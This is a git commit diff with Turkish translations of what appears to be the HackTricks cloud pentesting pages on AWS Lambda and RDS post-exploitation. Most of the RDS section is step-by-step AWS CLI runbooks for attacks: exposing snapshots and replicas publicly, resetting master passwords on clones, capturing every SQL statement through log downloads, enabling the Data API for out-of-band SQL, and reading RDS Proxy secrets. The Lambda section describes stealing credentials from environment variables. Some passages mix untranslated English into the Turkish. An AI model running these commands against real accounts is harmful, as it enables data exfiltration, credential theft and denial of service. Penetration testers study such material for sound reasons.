Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-10-07 15:40:39 +00:00
parent 3c81cf379b
commit 9bd12532fa
2 changed files with 468 additions and 29 deletions
@@ -4,7 +4,7 @@
## Lambda
For more information check:
Daha fazla bilgi için bakınız:
{{#ref}}
../../aws-services/aws-lambda-enum.md
@@ -12,13 +12,13 @@ For more information check:
### Exfilrtate Lambda Credentials
Lambda çalışma zamanında kimlik bilgilerini çevresel değişkenler aracılığıyla inject eder. Eğer bunlara erişebilirseniz (ör. `/proc/self/environ` okuyarak veya zafiyetli fonksiyonun kendisini kullanarak) bunları kendiniz kullanabilirsiniz. Bu bilgiler varsayılan olarak `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` ve `AWS_ACCESS_KEY_ID` isimli değişkenlerde bulunur.
Lambda, runtime sırasında kimlik bilgilerini environment variables aracılığıyla enjekte eder. Eğer onlara erişebilirseniz ( `/proc/self/environ` dosyasını okuyarak veya zafiyetli fonksiyonun kendisini kullanarak) bunları kendiniz kullanabilirsiniz. Bu bilgiler varsayılan değişken adlarında bulunur: `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` ve `AWS_ACCESS_KEY_ID`.
Varsayılan olarak, bunların bir cloudwatch log group'una yazma erişimi vardır (adını `AWS_LAMBDA_LOG_GROUP_NAME` inde saklar), ayrıca rastgele log group'ları oluşturma izni de bulunur; ancak Lambda fonksiyonlarına genellikle kullanım amaçlarına göre daha fazla izin atanır.
Varsayılan olarak bunlar bir cloudwatch log group'una yazma (grup adı `AWS_LAMBDA_LOG_GROUP_NAME` değişkeninde saklanır) ve ayrıca rastgele log grupları oluşturma yetkisine sahiptir; ancak lambda fonksiyonlarına genellikle kullanım amaçlarına göre daha fazla izin atanır.
### Steal Others Lambda URL Requests
Eğer bir attacker herhangi bir şekilde Lambda içinde RCE elde ederse, diğer kullanıcıların Lambda'ya gönderdiği HTTP isteklerini çalabilir. İstekler hassas bilgi (cookies, kimlik bilgileri...) içeriyorsa, bunları ele geçirebilir.
Eğer bir saldırgan Lambda içinde bir şekilde RCE elde ederse, diğer kullanıcıların Lambda'ya gönderdiği HTTP isteklerini çalabilir. İstekler hassas bilgiler (cookies, credentials...) içeriyorsa bunları ele geçirebilir.
{{#ref}}
aws-warm-lambda-persistence.md
@@ -26,7 +26,7 @@ aws-warm-lambda-persistence.md
### Steal Others Lambda URL Requests & Extensions Requests
Lambda Layers'ı kötüye kullanarak extensions'ları istismar etmek ve Lambda içinde kalıcı olmak mümkündür; ayrıca istekleri çalmak ve değiştirmek de mümkünr.
Lambda Layers'ı kötüye kullanarak extensions'ları da suistimal etmek ve Lambda içinde kalıcılık sağlamak mümkün; ayrıca istekleri çalmak ve değiştirmek de mümkün olur.
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -34,7 +34,7 @@ Lambda Layers'ı kötüye kullanarak extensions'ları istismar etmek ve Lambda i
### AWS Lambda VPC Egress Bypass
Boş bir VpcConfig ile (SubnetIds=[], SecurityGroupIds=[]) yapılandırmayı güncelleyerek Lambda fonksiyonunu kısıtlı bir VPC'den çıkarmaya zorlayın. Fonksiyon daha sonra Lambda tarafından yönetilen ağ düzleminde çalışır, outbound internet erişimini yeniden kazanır ve NAT olmayan özel VPC alt ağları tarafından uygulanan egress kontrollerini atlatır.
Boş bir VpcConfig (SubnetIds=[], SecurityGroupIds=[]) ile yapılandırmasını güncelleyerek kısıtlı bir VPC'den bir Lambda fonksiyonunu zorla çıkarın. Fonksiyon daha sonra Lambda-managed networking plane üzerinde çalışacak, outbound internet erişimini yeniden kazanacak ve NAT olmayan özel VPC alt ağları tarafından uygulanan egress kontrollerini atlayacaktır.
{{#ref}}
aws-lambda-vpc-egress-bypass.md
@@ -42,7 +42,7 @@ aws-lambda-vpc-egress-bypass.md
### AWS Lambda Runtime Pinning/Rollback Abuse
`lambda:PutRuntimeManagementConfig`'i kullanarak bir fonksiyonu belirli bir runtime sürümüne pinleyin (Manual) veya güncellemeleri dondurun (FunctionUpdate). Bu, kötü amaçlı layer/wrapper'larla uyumluluğu korur ve fonksiyonu sömürüye yardımcı olmak ve uzun süreli kalıcılık sağlamak için eski, vuln bir runtime'ta tutabilir.
`lambda:PutRuntimeManagementConfig`'i kötüye kullanarak bir fonksiyonu belirli bir runtime sürümüne sabitleyebilir (Manual) veya güncellemeleri dondurabilirsiniz (FunctionUpdate). Bu, kötü amaçlı layers/wrappers ile uyumluluğu korur ve fonksiyonu eski, zafiyetli bir runtime üzerinde tutarak exploitation ve uzun dönem persistence sağlamaya yardımcı olabilir.
{{#ref}}
aws-lambda-runtime-pinning-abuse.md
@@ -50,7 +50,7 @@ aws-lambda-runtime-pinning-abuse.md
### AWS Lambda Log Siphon via LoggingConfig.LogGroup Redirection
`lambda:UpdateFunctionConfiguration`'ın gelişmiş logging kontrollerini kullanarak bir fonksiyonun loglarını saldırganın seçtiği bir CloudWatch Logs log group'una yönlendirin. Bu, kodu veya execution role'u değiştirmeden çalışır (çoğu Lambda rolü zaten `AWSLambdaBasicExecutionRole` aracılığıyla `logs:CreateLogGroup/CreateLogStream/PutLogEvents` içerir). Fonksiyon gizli bilgileri/istek gövdelerini yazdırıyorsa veya stack trace ile çökerse, bunları yeni log group'tan toplayabilirsiniz.
`lambda:UpdateFunctionConfiguration`'ın gelişmiş logging kontrollerini kötüye kullanarak bir fonksiyonun loglarını saldırganın seçtiği bir CloudWatch Logs log grubuna yönlendirebilirsiniz. Bu, kodu veya execution role'u değiştirmeden (çoğu Lambda rolü zaten `AWSLambdaBasicExecutionRole` aracılığıyla `logs:CreateLogGroup/CreateLogStream/PutLogEvents` izinlerini içerir) çalışır. Eğer fonksiyon secrets/request bodies yazdırıyorsa veya stack trace ile çöküyorsa, bunları yeni log grubundan toplayabilirsiniz.
{{#ref}}
aws-lambda-loggingconfig-redirection.md
@@ -58,7 +58,7 @@ aws-lambda-loggingconfig-redirection.md
### AWS - Lambda Function URL Public Exposure
Function URL AuthType'ı NONE yapıp herkese lambda:InvokeFunctionUrl veren resource-based bir politika ekleyerek özel bir Lambda Function URL'ini genel, kimlik doğrulamasız bir endpoint'e çevirin. Bu, iç fonksiyonların anonim çağrılmasına izin verir ve hassas backend işlemlerini açığa çıkarabilir.
Function URL AuthType'ı NONE olarak değiştirip herkese lambda:InvokeFunctionUrl yetkisi veren bir resource-based policy ekleyerek özel bir Lambda Function URL'ini herkese açık, kimlik doğrulamasız bir endpoint'e dönüştürebilirsiniz. Bu, dahili fonksiyonların anonim çağrılmasına izin verir ve hassas backend işlemlerini açığa çıkarabilir.
{{#ref}}
aws-lambda-function-url-public-exposure.md
@@ -66,7 +66,7 @@ aws-lambda-function-url-public-exposure.md
### AWS Lambda Event Source Mapping Target Hijack
`UpdateEventSourceMapping`'i kullanarak mevcut bir Event Source Mapping (ESM) hedef Lambda fonksiyonunu değiştirin; böylece DynamoDB Streams, Kinesis veya SQS'ten gelen kayıtlar saldırgan kontrollü bir fonksiyona teslim edilir. Bu, üreticilere veya orijinal fonksiyon koduna dokunmadan canlı veriyi sessizce saptırır.
`UpdateEventSourceMapping`'i kötüye kullanarak mevcut bir Event Source Mapping (ESM)'in hedef Lambda fonksiyonunu değiştirin; böylece DynamoDB Streams, Kinesis veya SQS'ten gelen kayıtlar saldırgan kontrolündeki bir fonksiyona teslim edilir. Bu, üreticilere veya orijinal fonksiyon koduna dokunmadan canlı verileri sessizce yönlendirir.
{{#ref}}
aws-lambda-event-source-mapping-hijack.md
@@ -74,7 +74,7 @@ aws-lambda-event-source-mapping-hijack.md
### AWS Lambda EFS Mount Injection data exfiltration
`lambda:UpdateFunctionConfiguration`'ı kullanarak var olan bir EFS Access Point'i Lambda'ya bağlayın, ardından mount edilen yoldan dosyaları listeleyen/okuyan basit kodu deploy ederek fonksiyonun daha önce erişemediği paylaşılan sırları/konfigürasyonu dışa aktarmak mümkün olur.
`lambda:UpdateFunctionConfiguration`'ı kötüye kullanarak mevcut bir EFS Access Point'i bir Lambda'ya bağlayın, ardından bağlanan yoldaki dosyaları listeleyen/okuyan basit bir kod dağıtarak fonksiyonun önceden erişemediği paylaşılan secrets/config'i exfiltrate edin.
{{#ref}}
aws-lambda-efs-mount-injection.md
@@ -12,7 +12,7 @@ Daha fazla bilgi için bakınız:
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
Eğer saldırganın yeterli izinleri varsa, DB'nin bir snapshot'ını oluşturarak ve ardından o snapshot'tan **DB herkese açık** olacak şekilde bir DB oluşturarak DB'yi **herkese açık** hale getirebilir.
Saldırgan yeterli izinlere sahipse, DB'nin bir snapshot'ını oluşturarak ve ardından snapshot'tan **DB publicly accessible** bir DB oluşturarak onu herkese açık hale getirebilir.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
Bu izinlere sahip bir saldırgan **bir DB snapshot'ı oluşturabilir** ve bunu **genel** **erişime açık** hale getirebilir. Ardından, kendi hesabında bu snapshot'tan bir DB oluşturabilir.
Bu izinlere sahip bir saldırgan, **bir DB'nin snapshot'ını oluşturup** bunu **herkese** **açık** hale getirebilir. Sonra, kendi hesabında o snapshot'tan bir DB oluşturabilir.
Eğer saldırganın **`rds:CreateDBSnapshot` izni yoksa**, yine de oluşturulmuş **diğer** snapshot'ları **herkese açık** hale getirebilir.
Eğer saldırgan **`rds:CreateDBSnapshot` iznine sahip değilse**, yine de oluşturulmuş **diğer** snapshot'ları **herkese** **açık** hale getirebilir.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,45 +53,45 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
`rds:DownloadDBLogFilePortion` iznine sahip bir saldırgan **bir RDS örneğinin günlük dosyalarının bölümlerini indirebilir**. Eğer hassas veriler veya erişim kimlik bilgileri yanlışlıkla kaydedilmişse, saldırgan bu bilgileri ayrıcalıklarını yükseltmek veya yetkisiz işlemler gerçekleştirmek için potansiyel olarak kullanabilir.
`rds:DownloadDBLogFilePortion` yetkisine sahip bir attacker, **RDS instance'ın log dosyalarının bölümlerini indirebilir**. Eğer hassas veriler veya access credentials kazara loglanırsa, attacker bu bilgileri kullanarak privileges'larını escalate edebilir veya yetkisiz işlemler gerçekleştirebilir.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**Potansiyel Etki**: leaked credentials kullanılarak hassas bilgilere erişim veya yetkisiz işlemler.
**Potential Impact**: leaked credentials kullanılarak hassas bilgilere erişim veya yetkisiz işlemler.
### `rds:DeleteDBInstance`
Bu izinlere sahip bir saldırgan **var olan RDS instance'larına DoS uygulayabilir**.
Bu izinlere sahip bir saldırgan mevcut RDS instance'larını **DoS** ile kullanılamaz hale getirebilir.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**Potansiyel etki**: Mevcut RDS instances'larının silinmesi ve olası veri kaybı.
**Potansiyel etki**: Mevcut RDS instance'larının silinmesi ve potansiyel veri kaybı.
### `rds:StartExportTask`
> [!NOTE]
> YAPILACAK: Test
Bu izne sahip bir saldırgan **bir RDS instance snapshot'ını bir S3 bucket'a dışa aktarabilir**. Eğer saldırgan hedef S3 bucket üzerinde kontrole sahipse, dışa aktarılmış snapshot içindeki hassas verilere erişebilir.
Bu izne sahip bir saldırgan **bir RDS instance snapshot'ını bir S3 bucket'a dışa aktarabilir**. Eğer saldırgan hedef S3 bucket üzerinde kontrol sahibi ise, dışa aktarılan snapshot içindeki hassas verilere erişebilir.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Potential impact**: Aktarılan snapshot içindeki hassas verilere erişim.
**Potential impact**: Dışa aktarılan snapshot'taki hassas verilere erişim.
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
Abuse cross-Region automated backups replication özelliğini kötüye kullanarak bir RDS instance'ının automated backups'larını başka bir AWS Region'a sessizce çoğaltıp orada restore edebilir. Saldırgan daha sonra restore edilen DB'yi herkese açık hale getirip master password'ü sıfırlayarak, savunucuların takip etmeyebileceği bir Region'da veriye dışarıdan erişim sağlayabilir.
Cross-Region automated backups replication'ı kötüye kullanarak bir RDS instance'ının automated backups'larını sessizce başka bir AWS Region'a kopyalayabilir ve orada restore edebilirsiniz. Ardından saldırgan restore edilen DB'yi genel erişime açabilir ve ana parolayı sıfırlayarak, savunucuların izlemiyor olabileceği bir Bölge'den veriye out-of-band erişim sağlayabilir.
Gerekli izinler (asgari):
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
- `rds:ModifyDBInstance` in the destination Region
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
Permissions needed (minimum):
- `rds:StartDBInstanceAutomatedBackupsReplication` hedef Bölge'de
- `rds:DescribeDBInstanceAutomatedBackups` hedef Bölge'de
- `rds:RestoreDBInstanceToPointInTime` hedef Bölge'de
- `rds:ModifyDBInstance` hedef Bölge'de
- `rds:StopDBInstanceAutomatedBackupsReplication` (opsiyonel temizlik)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (restore edilen DB'yi açmak için)
Etkisi: Üretim verisinin bir kopyasını başka bir Region'a restore ederek ve saldırganın kontrolündeki kimlik bilgileriyle bunu halka açarak kalıcılık ve veri sızdırma.
Impact: Üretim verilerinin bir kopyasını başka bir Bölgeye restore ederek ve saldırgan kontrollü kimlik bilgileriyle bunu herkese açık hale getirerek kalıcılık ve veri sızdırma.
<details>
<summary>Uçtan uca CLI (yer tutucuları değiştirin)</summary>
@@ -163,4 +163,443 @@ aws rds stop-db-instance-automated-backups-replication \
</details>
### DB parameter groups aracılığıyla tam SQL logging'i etkinleştir ve RDS log APIs ile exfiltrate et
`rds:ModifyDBParameterGroup`'ı RDS log download APIs ile kullanarak uygulamalar tarafından yürütülen tüm SQL ifadelerini yakalayın (DB engine credentials gerekmez). Engine SQL logging'i etkinleştir ve dosya loglarını `rds:DescribeDBLogFiles` ve `rds:DownloadDBLogFilePortion` ile çek (veya REST `downloadCompleteLogFile`). Bu, secrets/PII/JWTs içerebilecek sorguları toplamak için faydalıdır.
Gerekli izinler (asgari):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (sadece örnek varsayılanı kullanıyorsa özel bir parametre grubu eklemek için)
- `rds:RebootDBInstance` (yeniden başlatma gerektiren parametreler için, örn. PostgreSQL)
Adımlar
1) Recon hedefini ve mevcut parametre grubunu keşfet
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
```
2) Özel bir DB parameter group iliştirilmiş olduğundan emin olun (varsayılan düzenlenemez)
- Eğer instance zaten bir custom group kullanıyorsa, sonraki adımda adını tekrar kullanın.
- Aksi halde engine family ile eşleşen bir tane oluşturup iliştirin:
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"
aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
```
3) Ayrıntılı SQL kayıtlamayı etkinleştir
- MySQL motorları (anında / yeniden başlatma gerekmez):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
```
- PostgreSQL engine'leri (yeniden başlatma gerekli):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
```
4) İş yükünün çalışmasına izin verin (veya sorgular oluşturun). İfadeler engine dosya kayıtlarına yazılacaktır
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`
5) Kayıtları keşfedin ve indirin (DB kimlik bilgileri gerekmiyor)
```bash
aws rds describe-db-log-files --db-instance-identifier <DB>
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
```
6) Hassas veriler için çevrimdışı analiz yapın
```bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
```
Örnek kanıt (sansürlenmiş):
```text
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
```
Temizlik
- Parametreleri varsayılanlara geri döndür ve gerekirse yeniden başlat:
```bash
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
Etkisi: Post-exploitation sırasında AWS API'leri üzerinden tüm uygulama SQL ifadelerini yakalayarak veri erişimi (no DB creds); potansiyel olarak secrets, JWTs ve PII'nin leak olma riski.
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
RDS read replicas'ları kötüye kullanarak birincil instance kimlik bilgilerine dokunmadan out-of-band okuma erişimi elde edilebilir. Bir saldırgan production instance'tan bir read replica oluşturabilir, replica'nın master parolasını sıfırlayabilir (bu primary'i değiştirmez) ve isteğe bağlı olarak verileri exfiltrate etmek için replicayı public olarak açabilir.
Gerekli izinler (asgari):
- `rds:DescribeDBInstances`
- `rds:CreateDBInstanceReadReplica`
- `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
Etkisi: Saldırgan kontrollü kimlik bilgilerine sahip bir replica üzerinden production verilerine yalnızca okunur erişim; primary'e dokunulmadığı ve replication devam ettiği için tespit edilme olasılığı daha düşüktür.
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
```
Örnek kanıt (MySQL):
- Replika DB durumu: `available`, okuma replikasyonu: `replicating`
- Yeni parola ile başarılı bağlantı ve `@@read_only=1` ile salt okunur replikaya erişim doğrulandı.
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
Kötüye kullanın RDS Blue/Green'i, üretim veritabanını sürekli replikasyonlu, salt okunur bir green ortama klonlamak için. Sonra green master kimlik bilgilerini sıfırlayarak blue (prod) instance'ına dokunmadan verilere erişin. Bu, snapshot sharing'den daha sinsi olup genellikle yalnızca kaynağa odaklanan izlemeyi atlatır.
```bash
# 1) Recon find eligible source (nonAurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
# Typical green id: <blue>-green-XXXX
# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately
# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately
# 4) Connect to the green endpoint and query/exfiltrate (green is readonly)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text
# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
# 5) Cleanup remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
```
Impact: Yazma izni yok ama üretimin neredeyse gerçek zamanlı klonuna tam veri erişimi sağlar; üretim örneğini değiştirmeden. Gizli veri çıkarma ve çevrimdışı analiz için kullanışlı.
### RDS Data API aracılığıyla bant-dışı SQL — HTTP endpoint'ini etkinleştirerek + master parolayı sıfırlayarak
Aurora'yı, hedef bir cluster'da RDS Data API HTTP endpoint'ini etkinleştirmek, master parolayı kontrolünüzdeki bir değere sıfırlamak ve HTTPS üzerinden SQL çalıştırmak için kötüye kullanın (VPC ağ yolu gerekmez). Data API/EnableHttpEndpoint'i destekleyen Aurora engine'lerde çalışır (ör. Aurora MySQL 8.0 provisioned; bazı Aurora PostgreSQL/MySQL sürümleri).
Permissions (minimum):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
Impact: Ağ segmentasyonunu atlar ve DB'ye doğrudan VPC bağlantısı olmadan AWS API'leri aracılığıyla veri sızdırır.
<details>
<summary>Uçtan uca CLI (Aurora MySQL örneği)</summary>
```bash
# 1) Identify target cluster ARN
REGION=us-east-1
CLUSTER_ID=<target-cluster-id>
CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \
--db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].DBClusterArn' --output text)
# 2) Enable Data API HTTP endpoint on the cluster
# Either of the following (depending on API/engine support):
aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"
# or
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--enable-http-endpoint --apply-immediately
# Wait until HttpEndpointEnabled is True
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].HttpEndpointEnabled' --output text
# 3) Reset master password to attacker-controlled value
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--master-user-password 'Sup3rStr0ng!1' --apply-immediately
# Wait until pending password change is applied
while :; do
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text)
[[ "$P" == "None" || "$P" == "null" ]] && break
sleep 10
done
# 4) Create a Secrets Manager secret for Data API auth
SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \
--query ARN --output text)
# 5) Prove out-of-band SQL via HTTPS using rds-data
# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \
--format-records-as JSON
```
</details>
Notlar:
- Eğer multi-statement SQL rds-data tarafından reddediliyorsa, ayrı execute-statement çağrıları yapın.
- modify-db-cluster --enable-http-endpoint'in etkisi olmayan motorlar için rds enable-http-endpoint --resource-arn kullanın.
- Motor/sürümün gerçekten Data API'yi desteklediğinden emin olun; aksi takdirde HttpEndpointEnabled False olarak kalır.
### RDS Proxy auth secrets aracılığıyla DB kimlik bilgilerini elde etme (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
RDS Proxy yapılandırmasını kötüye kullanarak backend kimlik doğrulaması için kullanılan Secrets Manager secret'ını keşfedin, ardından veritabanı kimlik bilgilerini elde etmek için secret'ı okuyun. Pek çok ortam geniş `secretsmanager:GetSecretValue` izni verir; bu da DB kimlik bilgilerine düşük sürtünmeli bir pivot sağlar. Eğer secret bir CMK kullanıyorsa, yanlış yapılandırılmış KMS izinleri ayrıca `kms:Decrypt` iznini verebilir.
Gerekli izinler (minimum):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` on the referenced SecretArn
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
Etkisi: Proxy üzerinde yapılandırılmış DB kullanıcı adı/parolasının anında ifşası; doğrudan DB erişimi veya daha fazla lateral movement olanağı sağlar.
Adımlar
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table
# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
```
Laboratuvar (yeniden üretmek için asgari gereksinimler)
```bash
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
```
Temizlik (lab)
```bash
aws rds delete-db-proxy --db-proxy-name p0
